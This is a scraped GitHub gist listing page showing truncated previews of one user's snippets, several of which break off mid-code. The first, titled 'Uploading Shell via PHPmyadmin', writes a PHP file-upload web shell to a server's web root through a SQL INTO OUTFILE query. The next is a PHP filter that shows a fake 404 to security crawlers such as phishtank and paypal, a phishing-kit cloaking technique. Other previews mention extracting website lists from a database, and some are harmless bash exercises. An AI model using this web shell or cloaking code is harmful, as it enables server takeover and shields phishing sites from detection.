Skip to content

Instantly share code, notes, and snippets.

View BababaBlue's full-sized avatar

JahanRajKar Singh BababaBlue

View GitHub Profile
@BababaBlue
BababaBlue / gist:71d85a7182993f6b4728c5d6a77e669f
Last active March 24, 2024 21:26
Uploading Shell via PHPmyadmin
SELECT
"<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo \'<b>Upload Failed.</b><br><br>\'; }}?>"
INTO OUTFILE 'C:/wamp/www/uploader.php';
<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "paypal");
foreach($blocked_words as $word) {
if (substr_count($hostname, $word) > 0) {
header("HTTP/1.0 404 Not Found");
die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
}
@BababaBlue
BababaBlue / db.py
Created December 30, 2018 03:44
this was used to get the website urls
import mysql.connector
a=[]
b=[]
with open('list.txt') as f:
for row in f:
row=row.strip('\n')
a.append(row)
mydb = mysql.connector.connect(
@BababaBlue
BababaBlue / gist:ccd70551d1b2db38a953d69edc97707a
Created December 30, 2018 03:41
This was used to extract all the websites from the db
SELECT * FROM DB.INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME LIKE '%options%';
#!/bin/bash
#If no argument is specified, ask for it and exit
if [[ -z "$@" ]];
then
echo "An argument is needed to run this script";
exit
else
arg="$@"
#Basic check to make sure argument number is valid. If not, display error and exit
if [[ $(($(echo $arg | grep -o "\s" | wc --chars) / 2 )) -ne 2 ]];
@BababaBlue
BababaBlue / CUDE.SH
Last active August 8, 2017 22:56
LINUX 2
#!/bin/bash
let result=0;
echo "Enter The Number ";
echo "And lets Find, is the number Even/Odd and also Prime/Composite ";
read num1
if (($num1 < 1)); then
echo "Invalid number should be greater than 0"
elif (( $num1% 2 == 0)); then
echo "The Number $num1 is even"
else